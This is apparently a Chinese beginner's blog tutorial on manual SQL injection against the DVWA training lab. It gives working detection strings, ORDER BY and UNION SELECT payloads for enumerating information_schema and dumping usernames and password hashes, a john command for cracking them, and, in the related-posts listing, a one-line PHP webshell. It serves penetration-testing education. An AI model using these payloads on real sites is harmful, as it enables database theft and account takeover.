SQL手工注入(一)

SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。【SQL注入原理

##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器

用户登录判断

SELECT * FROM users WHERE user=‘uname' AND password=‘pass‘
SELECT * FROM users WHERE user=‘name' AND password='' OR ''='‘  【OR:逻辑运算符,(password假)''或''('1'='1'真)】

SQL注入存在位置

表单、GET方式的URL

SQL检测方法

1、基于报错的检测方法(low)

'    (单引号)

''  (尝试两个单引号)【结果:两两闭合】

#'a"b  (单引号+a+双引号+b)

#'a"b' (单引号+a+双引号+b+')

则证明可以构造复杂的SQL语句进行注入

"

%

()

 2、基于布尔的检测

First:   1' and '1'='1    等于 1' and '1            【猜测语句:select first_name,surname from users where id='  1' and '1'='1 '  】

Second:  1' and '1'='2       等于  1' and '0      【若无返回结果,则可验证上猜测语句】

 3、表列数/显示信息位于哪一列

' order by  9-- (单引号+order by +空格+ 数字【该数字用于指定字段,可以填大而后猜确切列数】+ --+空格一定要注意有空格,否则会语法错误  --:为注释】)

 构造select语句

 4、联合查询【为了在过滤的单引号后面,再运行查询语句】

union与union all 作用基本完全相同

First:' union select 1,2--                     【确定查询后结果在页面中出现位置】

Second:1' union select user(),2--              【1替换成一个数据库默认函数user() 查询数据库用户】

' union select user(),version()--        【将2替换成函数version() 查询版本】

 database()   查询数据库名称

全局函数:@@datadir    查询数据库的文件位置

@@hostname   查询主机名

@@version_compile_os   查询操作系统版本

 

 构造复杂的SQL语句

' union select database(),substring_index(USER(),"@",1)--

为方便查看指令,使用火狐插件hackbug,使用F9调出

绕过一些过滤不严的机制

CHAR()       将ASCII码转换为对应字符

连接字符

 CONCAT_WS()                       将多个函数连接在一起   

 计算MD5 【可用于使用别人的服务器资源来为自己做大量的数据运算】

了解数据库的数据结构

MySQL:所有的元数据都保存在一张元数据表【information_schema】

1、查看所有库所有表/统计库中表的数量

' union select table_name,table_schema from information_schema.tables--+     [所有库所有表]

' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --  [统计每个库中表的数量]

2、 Dvwa库中的表名   【一个参数漏洞,也可造成拖库】

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+     【通过表名猜测账号密码存放位置】

3、查询users表中所有的列(user_id、first_name、last_name、user、password、avatar)

 ' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+

4、查询user、password列中的内容 

' union select user,password from dvwa.users--+

' union select user,password from users--+

' union select null, concat(user,0x3a,password) from users--+   【concat:连接,需指定分隔符】

5、密码破解

猜测密码算法:hash-identifier

username:passhash ——> dvwa.txt    【将账号:密码整理成一个文本文件】

工具:
john --format=raw-MD5 dvwa.txt

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法的更多相关文章

  1. 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入

    SQL手工注入 靶机:metasploitable(低)  1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...

  2. 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

    扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...

  3. 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish

    WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...

  4. 小白日记50:kali渗透测试之Web渗透-CSRF

    CSRF CSRF原理:经常与XSS混淆. 从信任的角度进行区分:XSS:利用用户对站点的信任:CSRF:利用站点对已经身份认证的信任(有一定的信任)[默认情况:站点不信任客户端] 结合社工在身份认证 ...

  5. 小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint

    sqlmap自动注入 Optimization [优化性能参数,可提高效率] -o:指定前三个参数(--predict-output.--keep-alive.--null-connection) - ...

  6. 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET

    SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...

  7. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  8. 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)

    补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...

  9. 小白日记52:kali渗透测试之Web渗透-HTTPS攻击(Openssl、sslscan、sslyze、检查SSL的网站)

    HTTPS攻击 全站HTTPS正策划稿那位潮流趋势 如:百度.阿里 HTTPS的作用 CIA 解决的是信息传输过程中数据被篡改.窃取 [从中注入恶意代码,多为链路劫持] 加密:对称.非对称.单向 HT ...

随机推荐

  1. HTML 5的消息通知机制

    译文来源:http://www.ido321.com/1130.html 原文:HTML 5 Notification 译文:HTML 5 的消息通知机制 译者:dwqs HTML 5 已经被应用到W ...

  2. 使用Async同步执行异步函数

    为了适应异步编程,减少回调的嵌套,我在项目中引入了Async,当批量处理且需要同步执行一些逻辑相同的异步函数时,觉得还是Async最为靠谱. 我有一个类似下面代码的场景,依据数组中的每一个元素执行一个 ...

  3. 32位和64位dll判断

    如何判断一个dll文件是32位还是64位? 1. 开发中经常会使用到VC的一个工具 Dependency Walker用depends.exe打开dll,文件名前有64标示的即为64位. 但是这个方式 ...

  4. 现代程序设计 homework-09

    现代程序设计 homework-09 这次作业是要求将homework-02做成一个可演示的应用,目的是为了让用户看到程序的计算步骤以及中间结果. 借此机会也学了一下JavaScript,感觉总结的地 ...

  5. POJ 3321 Apple Tree (树状数组+dfs序)

    题目链接:http://poj.org/problem?id=3321 给你n个点,n-1条边,1为根节点.给你m条操作,C操作是将x点变反(1变0,0变1),Q操作是询问x节点以及它子树的值之和.初 ...

  6. 亲和串(HDU2203)

    http://acm.hdu.edu.cn/showproblem.php?pid=2203 题目意思很简单,求s1串所构成的环中是否有s2这个串 用CMP参考http://s.acmore.net/ ...

  7. DllImport属性详解

    API函数是构筑Windows的基石, 是Windows编程的必备利器.每一种Windows应用程序开发工具都提供间接或者直接的方式调用Win32API,C#也不例外.使用Win32API的一个好处就 ...

  8. MFC通过对话框窗口句柄获得对话框对象指针

       C***Dialog* pWnd= (C***Dialog*)FromHandle(hWnd); //由句柄得到对话框的对象指针    pWnd->xxx( );              ...

  9. Unity3D之Mecanim动画系统学习笔记(五):Animator Controller

    简介 Animator Controller在Unity中是作为一种单独的配置文件存在的文件类型,其后缀为controller,Animator Controller包含了以下几种功能: 可以对多个动 ...

  10. 高扩展的基于NIO的服务器架构(二)

    接上文高扩展的基于NIO的服务器架构 Reactor模式 如下图所示,将不同事件的检测分离开,当一种事件发生时一个事件处理器EventHandler将通知与该事件处理相对应的专用工作线程 采用这种架构 ...